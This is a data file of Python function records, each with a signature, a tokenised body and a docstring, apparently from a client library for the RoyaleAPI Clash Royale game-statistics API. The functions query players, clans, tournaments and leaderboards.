{"signature": "def get_version(self):", "body": "return self._get_model(self.api.VERSION)<EOL>", "docstring": "Gets the version of RoyaleAPI. Returns a string", "id": "f10347:c0:m16"}
{"signature": "def get_endpoints(self):", "body": "return self._get_model(self.api.ENDPOINTS)<EOL>", "docstring": "Gets a list of endpoints available in RoyaleAPI", "id": "f10347:c0:m17"}
{"signature": "@typecasted<EOL><INDENT>def get_constants(self, **params: keys):<DEDENT>", "body": "url = self.api.CONSTANTS<EOL>return self._get_model(url, **params)<EOL>", "docstring": "Get the CR Constants\n\n        Parameters\n        ----------\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m18"}
{"signature": "@typecasted<EOL><INDENT>def get_player(self, *tags: crtag, **params: keys):<DEDENT>", "body": "url = self.api.PLAYER + '<STR_LIT:/>' + '<STR_LIT:U+002C>'.join(tags)<EOL>return self._get_model(url, FullPlayer, **params)<EOL>", "docstring": "Get a player information\n\n        Parameters\n        ----------\n        \\*tags: str\n            Valid player tags. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m19"}
{"signature": "@typecasted<EOL><INDENT>def get_player_verify(self, tag: crtag, apikey: str, **params: keys):<DEDENT>", "body": "url = self.api.PLAYER + '<STR_LIT:/>' + tag + '<STR_LIT>'<EOL>params.update({'<STR_LIT>': apikey})<EOL>return self._get_model(url, FullPlayer, **params)<EOL>", "docstring": "Check the API Key of a player.\n        This endpoint has been **restricted** to\n        certain members of the community\n\n        Parameters\n        ----------\n        tag: str\n            A valid tournament tag. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        apikey: str\n            The API Key in the player's settings\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m20"}
{"signature": "@typecasted<EOL><INDENT>def get_player_battles(self, *tags: crtag, **params: keys):<DEDENT>", "body": "url = self.api.PLAYER + '<STR_LIT:/>' + '<STR_LIT:U+002C>'.join(tags) + '<STR_LIT>'<EOL>return self._get_model(url, **params)<EOL>", "docstring": "Get a player's battle log\n\n        Parameters\n        ----------\n        \\*tags: str\n            Valid player tags. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m21"}
{"signature": "@typecasted<EOL><INDENT>def get_player_chests(self, *tags: crtag, **params: keys):<DEDENT>", "body": "url = self.api.PLAYER + '<STR_LIT:/>' + '<STR_LIT:U+002C>'.join(tags) + '<STR_LIT>'<EOL>return self._get_model(url, **params)<EOL>", "docstring": "Get information about a player's chest cycle\n\n        Parameters\n        ----------\n        \\*tags: str\n            Valid player tags. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m22"}
{"signature": "@typecasted<EOL><INDENT>def get_clan(self, *tags: crtag, **params: keys):<DEDENT>", "body": "url = self.api.CLAN + '<STR_LIT:/>' + '<STR_LIT:U+002C>'.join(tags)<EOL>return self._get_model(url, FullClan, **params)<EOL>", "docstring": "Get a clan information\n\n        Parameters\n        ----------\n        \\*tags: str\n            Valid clan tags. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m23"}
{"signature": "@typecasted  <EOL><INDENT>def search_clans(self, **params: clansearch):<DEDENT>", "body": "url = self.api.CLAN + '<STR_LIT>'<EOL>return self._get_model(url, PartialClan, **params)<EOL>", "docstring": "Search for a clan. At least one\n        of the filters must be present\n\n        Parameters\n        ----------\n        name: Optional[str]\n            The name of a clan\n        minMembers: Optional[int]\n            The minimum member count\n            of a clan\n        maxMembers: Optional[int]\n            The maximum member count\n            of a clan\n        score: Optional[int]\n            The minimum trophy score of\n            a clan\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m24"}
{"signature": "def get_tracking_clans(self, **params: keys):", "body": "url = self.api.CLAN + '<STR_LIT>'<EOL>return self._get_model(url, **params)<EOL>", "docstring": "Get a list of clans that are being\n        tracked by having either cr-api.com or\n        royaleapi.com in the description\n\n        Parameters\n        ----------\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m25"}
{"signature": "@typecasted<EOL><INDENT>def get_clan_tracking(self, *tags: crtag, **params: keys):<DEDENT>", "body": "url = self.api.CLAN + '<STR_LIT:/>' + '<STR_LIT:U+002C>'.join(tags) + '<STR_LIT>'<EOL>return self._get_model(url, **params)<EOL>", "docstring": "Returns if the clan is currently being tracked\n        by the API by having either cr-api.com or royaleapi.com\n        in the clan description\n\n        Parameters\n        ----------\n        \\*tags: str\n            Valid clan tags. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m26"}
{"signature": "@typecasted<EOL><INDENT>def get_clan_battles(self, *tags: crtag, **params: keys):<DEDENT>", "body": "url = self.api.CLAN + '<STR_LIT:/>' + '<STR_LIT:U+002C>'.join(tags) + '<STR_LIT>'<EOL>return self._get_model(url, **params)<EOL>", "docstring": "Get the battle log from everyone in the clan\n\n        Parameters\n        ----------\n        \\*tags: str\n            Valid player tags. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        \\*\\*type: str\n            Filters what kind of battles. Pick from:\n            :all:, :war:, :clanMate:\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m27"}
{"signature": "@typecasted<EOL><INDENT>def get_clan_history(self, *tags: crtag, **params: keys):<DEDENT>", "body": "url = self.api.CLAN + '<STR_LIT:/>' + '<STR_LIT:U+002C>'.join(tags) + '<STR_LIT>'<EOL>return self._get_model(url, **params)<EOL>", "docstring": "Get the clan history. Only works if the clan is being tracked\n        by having either cr-api.com or royaleapi.com in the clan's\n        description\n\n        Parameters\n        ----------\n        \\*tags: str\n            Valid clan tags. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m28"}
{"signature": "@typecasted<EOL><INDENT>def get_clan_war(self, tag: crtag, **params: keys):<DEDENT>", "body": "url = self.api.CLAN + '<STR_LIT:/>' + tag + '<STR_LIT>'<EOL>return self._get_model(url, **params)<EOL>", "docstring": "Get inforamtion about a clan's current clan war\n\n        Parameters\n        ----------\n        *tag: str\n            A valid clan tag. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m29"}
{"signature": "@typecasted<EOL><INDENT>def get_clan_war_log(self, tag: crtag, **params: keys):<DEDENT>", "body": "url = self.api.CLAN + '<STR_LIT:/>' + tag + '<STR_LIT>'<EOL>return self._get_model(url, **params)<EOL>", "docstring": "Get a clan's war log\n\n        Parameters\n        ----------\n        \\*tags: str\n            Valid clan tags. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m30"}
{"signature": "@typecasted<EOL><INDENT>def get_tournament(self, tag: crtag, **params: keys):<DEDENT>", "body": "url = self.api.TOURNAMENT + '<STR_LIT:/>' + tag<EOL>return self._get_model(url, **params)<EOL>", "docstring": "Get a tournament information\n\n        Parameters\n        ----------\n        tag: str\n            A valid tournament tag. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m31"}
{"signature": "@typecasted<EOL><INDENT>def search_tournaments(self, **params: keys):<DEDENT>", "body": "url = self.api.TOURNAMENT + '<STR_LIT>'<EOL>return self._get_model(url, PartialClan, **params)<EOL>", "docstring": "Search for a tournament\n\n        Parameters\n        ----------\n        name: str\n            The name of the tournament\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m32"}
{"signature": "@typecasted<EOL><INDENT>def get_top_clans(self, country_key='<STR_LIT>', **params: keys):<DEDENT>", "body": "url = self.api.TOP + '<STR_LIT>' + str(country_key)<EOL>return self._get_model(url, PartialClan, **params)<EOL>", "docstring": "Get a list of top clans by trophy\n\n        location_id: Optional[str] = ''\n            A location ID or '' (global)\n            See https://github.com/RoyaleAPI/cr-api-data/blob/master/json/regions.json\n            for a list of acceptable location IDs\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m33"}
{"signature": "@typecasted<EOL><INDENT>def get_top_war_clans(self, country_key='<STR_LIT>', **params: keys):<DEDENT>", "body": "url = self.api.TOP + '<STR_LIT>' + str(country_key)<EOL>return self._get_model(url, PartialClan, **params)<EOL>", "docstring": "Get a list of top clans by war\n\n        location_id: Optional[str] = ''\n            A location ID or '' (global)\n            See https://github.com/RoyaleAPI/cr-api-data/blob/master/json/regions.json\n            for a list of acceptable location IDs\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m34"}
{"signature": "@typecasted<EOL><INDENT>def get_top_players(self, country_key='<STR_LIT>', **params: keys):<DEDENT>", "body": "url = self.api.TOP + '<STR_LIT>' + str(country_key)<EOL>return self._get_model(url, PartialPlayerClan, **params)<EOL>", "docstring": "Get a list of top players\n\n        location_id: Optional[str] = ''\n            A location ID or '' (global)\n            See https://github.com/RoyaleAPI/cr-api-data/blob/master/json/regions.json\n            for a list of acceptable location IDs\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m35"}
{"signature": "@typecasted<EOL><INDENT>def get_popular_clans(self, **params: keys):<DEDENT>", "body": "url = self.api.POPULAR + '<STR_LIT>'<EOL>return self._get_model(url, PartialClan, **params)<EOL>", "docstring": "Get a list of most queried clans\n\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m36"}
{"signature": "@typecasted<EOL><INDENT>def get_popular_players(self, **params: keys):<DEDENT>", "body": "url = self.api.POPULAR + '<STR_LIT>'<EOL>return self._get_model(url, PartialPlayerClan, **params)<EOL>", "docstring": "Get a list of most queried players\n\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m37"}
{"signature": "@typecasted<EOL><INDENT>def get_popular_tournaments(self, **params: keys):<DEDENT>", "body": "url = self.api.POPULAR + '<STR_LIT>'<EOL>return self._get_model(url, PartialTournament, **params)<EOL>", "docstring": "Get a list of most queried tournaments\n\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m38"}
{"signature": "@typecasted<EOL><INDENT>def get_popular_decks(self, **params: keys):<DEDENT>", "body": "url = self.api.POPULAR + '<STR_LIT>'<EOL>return self._get_model(url, **params)<EOL>", "docstring": "Get a list of most queried decks\n\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m39"}
{"signature": "@typecasted<EOL><INDENT>def get_known_tournaments(self, **params: tournamentfilter):<DEDENT>", "body": "url = self.api.TOURNAMENT + '<STR_LIT>'<EOL>return self._get_model(url, PartialTournament, **params)<EOL>", "docstring": "Get a list of queried tournaments\n\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m40"}
{"signature": "@typecasted<EOL><INDENT>def get_open_tournaments(self, **params: tournamentfilter):<DEDENT>", "body": "url = self.api.TOURNAMENT + '<STR_LIT>'<EOL>return self._get_model(url, PartialTournament, **params)<EOL>", "docstring": "Get a list of open tournaments\n\n        \\*\\*1k: Optional[int] = 0\n            Set to 1 to filter tournaments that have\n            at least 1000 max players\n        \\*\\*full: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            full\n        \\*\\*inprep: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            in preperation\n        \\*\\*joinable: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            joinable\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m41"}
{"signature": "@typecasted<EOL><INDENT>def get_1k_tournaments(self, **params: tournamentfilter):<DEDENT>", "body": "url = self.api.TOURNAMENT + '<STR_LIT>'<EOL>return self._get_model(url, PartialTournament, **params)<EOL>", "docstring": "Get a list of tournaments that have at least 1000\n        max players\n\n        \\*\\*open: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            open\n        \\*\\*full: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            full\n        \\*\\*inprep: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            in preperation\n        \\*\\*joinable: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            joinable\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m42"}
{"signature": "@typecasted<EOL><INDENT>def get_prep_tournaments(self, **params: tournamentfilter):<DEDENT>", "body": "url = self.api.TOURNAMENT + '<STR_LIT>'<EOL>return self._get_model(url, PartialTournament, **params)<EOL>", "docstring": "Get a list of tournaments that are in preperation\n\n        \\*\\*1k: Optional[int] = 0\n            Set to 1 to filter tournaments that have\n            at least 1000 max players\n        \\*\\*open: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            open\n        \\*\\*full: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            full\n        \\*\\*joinable: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            joinable\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m43"}
{"signature": "@typecasted<EOL><INDENT>def get_joinable_tournaments(self, **params: tournamentfilter):<DEDENT>", "body": "url = self.api.TOURNAMENT + '<STR_LIT>'<EOL>return self._get_model(url, PartialTournament, **params)<EOL>", "docstring": "Get a list of tournaments that are joinable\n\n        \\*\\*1k: Optional[int] = 0\n            Set to 1 to filter tournaments that have\n            at least 1000 max players\n        \\*\\*open: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            open\n        \\*\\*full: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            full\n        \\*\\*inprep: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            in preperation\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m44"}
{"signature": "@typecasted<EOL><INDENT>def get_full_tournaments(self, **params: tournamentfilter):<DEDENT>", "body": "url = self.api.TOURNAMENT + '<STR_LIT>'<EOL>return self._get_model(url, PartialTournament, **params)<EOL>", "docstring": "Get a list of tournaments that are full\n\n        \\*\\*1k: Optional[int] = 0\n            Set to 1 to filter tournaments that have\n            at least 1000 max players\n        \\*\\*open: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            open\n        \\*\\*inprep: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            in preperation\n        \\*\\*joinable: Optional[int] = 0\n            Set to 1 to filter tournaments that are\n            joinable\n        \\*\\*keys: Optional[list] = None\n            Filter which keys should be included in the\n            response\n        \\*\\*exclude: Optional[list] = None\n            Filter which keys should be excluded from the\n            response\n        \\*\\*max: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*page: Optional[int] = None\n            Works with max, the zero-based page of the\n            items\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10347:c0:m45"}
{"signature": "def typecasted(func):", "body": "signature = inspect.signature(func).parameters.items()<EOL>@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>args = list(args)<EOL>new_args = []<EOL>new_kwargs = {}<EOL>for _, param in signature:<EOL><INDENT>converter = param.annotation<EOL>if converter is inspect._empty:<EOL><INDENT>converter = lambda a: a  <EOL><DEDENT>if param.kind is param.POSITIONAL_OR_KEYWORD:<EOL><INDENT>if args:<EOL><INDENT>to_conv = args.pop(<NUM_LIT:0>)<EOL>new_args.append(converter(to_conv))<EOL><DEDENT><DEDENT>elif param.kind is param.VAR_POSITIONAL:<EOL><INDENT>for a in args:<EOL><INDENT>new_args.append(converter(a))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for k, v in kwargs.items():<EOL><INDENT>nk, nv = converter(k, v)<EOL>new_kwargs[nk] = nv<EOL><DEDENT><DEDENT><DEDENT>return func(*new_args, **new_kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator that converts arguments via annotations.", "id": "f10349:m0"}
{"signature": "def refresh(self):", "body": "if self.client.is_async:<EOL><INDENT>return self._arefresh()<EOL><DEDENT>data, cached, ts, response = self.client.request(self.url, timeout=None, refresh=True)<EOL>return self.from_data(data, cached, ts, response)<EOL>", "docstring": "(a)sync refresh the data.", "id": "f10350:c1:m0"}
{"signature": "def get_clan(self):", "body": "try:<EOL><INDENT>return self.client.get_clan(self.clan.tag)<EOL><DEDENT>except AttributeError:<EOL><INDENT>try:<EOL><INDENT>return self.client.get_clan(self.tag)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "(a)sync function to return clan.", "id": "f10350:c3:m0"}
{"signature": "def get_player(self):", "body": "return self.client.get_player(self.tag)<EOL>", "docstring": "(a)sync function to return player.", "id": "f10350:c4:m0"}
{"signature": "@classmethod<EOL><INDENT>def Async(cls, token, session=None, **options):<DEDENT>", "body": "return cls(token, session=session, is_async=True, **options)<EOL>", "docstring": "Returns the client in async mode.", "id": "f10352:c0:m2"}
{"signature": "@typecasted<EOL><INDENT>def get_player(self, tag: crtag, timeout=None):<DEDENT>", "body": "url = self.api.PLAYER + '<STR_LIT:/>' + tag<EOL>return self._get_model(url, FullPlayer, timeout=timeout)<EOL>", "docstring": "Get information about a player\n\n        Parameters\n        ----------\n        tag: str\n            A valid tournament tag. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m16"}
{"signature": "@typecasted<EOL><INDENT>def get_player_verify(self, tag: crtag, apikey: str, timeout=None):<DEDENT>", "body": "url = self.api.PLAYER + '<STR_LIT:/>' + tag + '<STR_LIT>'<EOL>return self._get_model(url, FullPlayer, timeout=timeout, method='<STR_LIT:POST>', json={'<STR_LIT>': apikey})<EOL>", "docstring": "Check the API Key of a player.\n        This endpoint has been **restricted** to\n        certain members of the community\n\n        Raises BadRequest if the apikey is invalid\n\n        Parameters\n        ----------\n        tag: str\n            A valid tournament tag. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        apikey: str\n            The API Key in the player's settings\n        timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m17"}
{"signature": "@typecasted<EOL><INDENT>def get_player_battles(self, tag: crtag, **params: keys):<DEDENT>", "body": "url = self.api.PLAYER + '<STR_LIT:/>' + tag + '<STR_LIT>'<EOL>return self._get_model(url, **params)<EOL>", "docstring": "Get a player's battle log\n\n        Parameters\n        ----------\n        tag: str\n            A valid tournament tag. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        \\*\\*limit: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m18"}
{"signature": "@typecasted<EOL><INDENT>def get_player_chests(self, tag: crtag, timeout: int=None):<DEDENT>", "body": "url = self.api.PLAYER + '<STR_LIT:/>' + tag + '<STR_LIT>'<EOL>return self._get_model(url, timeout=timeout)<EOL>", "docstring": "Get information about a player's chest cycle\n\n        Parameters\n        ----------\n        tag: str\n            A valid tournament tag. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m19"}
{"signature": "@typecasted<EOL><INDENT>def get_clan(self, tag: crtag, timeout: int=None):<DEDENT>", "body": "url = self.api.CLAN + '<STR_LIT:/>' + tag<EOL>return self._get_model(url, FullClan, timeout=timeout)<EOL>", "docstring": "Get inforamtion about a clan\n\n        Parameters\n        ----------\n        tag: str\n            A valid tournament tag. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m20"}
{"signature": "@typecasted<EOL><INDENT>def search_clans(self, **params: clansearch):<DEDENT>", "body": "url = self.api.CLAN<EOL>return self._get_model(url, PartialClan, **params)<EOL>", "docstring": "Search for a clan. At least one\n        of the filters must be present\n\n        Parameters\n        ----------\n        name: Optional[str]\n            The name of a clan\n            (has to be at least 3 characters long)\n        locationId: Optional[int]\n            A location ID\n        minMembers: Optional[int]\n            The minimum member count\n            of a clan\n        maxMembers: Optional[int]\n            The maximum member count\n            of a clan\n        minScore: Optional[int]\n            The minimum trophy score of\n            a clan\n        \\*\\*limit: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m21"}
{"signature": "@typecasted<EOL><INDENT>def get_clan_war(self, tag: crtag, timeout: int=None):<DEDENT>", "body": "url = self.api.CLAN + '<STR_LIT:/>' + tag + '<STR_LIT>'<EOL>return self._get_model(url, timeout=timeout)<EOL>", "docstring": "Get inforamtion about a clan's current clan war\n\n        Parameters\n        ----------\n        tag: str\n            A valid tournament tag. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m22"}
{"signature": "@typecasted<EOL><INDENT>def get_clan_members(self, tag: crtag, **params: keys):<DEDENT>", "body": "url = self.api.CLAN + '<STR_LIT:/>' + tag + '<STR_LIT>'<EOL>return self._get_model(url, **params)<EOL>", "docstring": "Get the clan's members\n\n        Parameters\n        ----------\n        tag: str\n            A valid tournament tag. Minimum length: 3\n            Valid characters: 0289PYLQGRJCUV\n        \\*\\*limit: Optional[int] = None\n            Limit the number of items returned in the response\n        \\*\\*timeout: Optional[int] = None\n            Custom timeout that overwrites Client.timeout", "id": "f10352:c0:m23"}
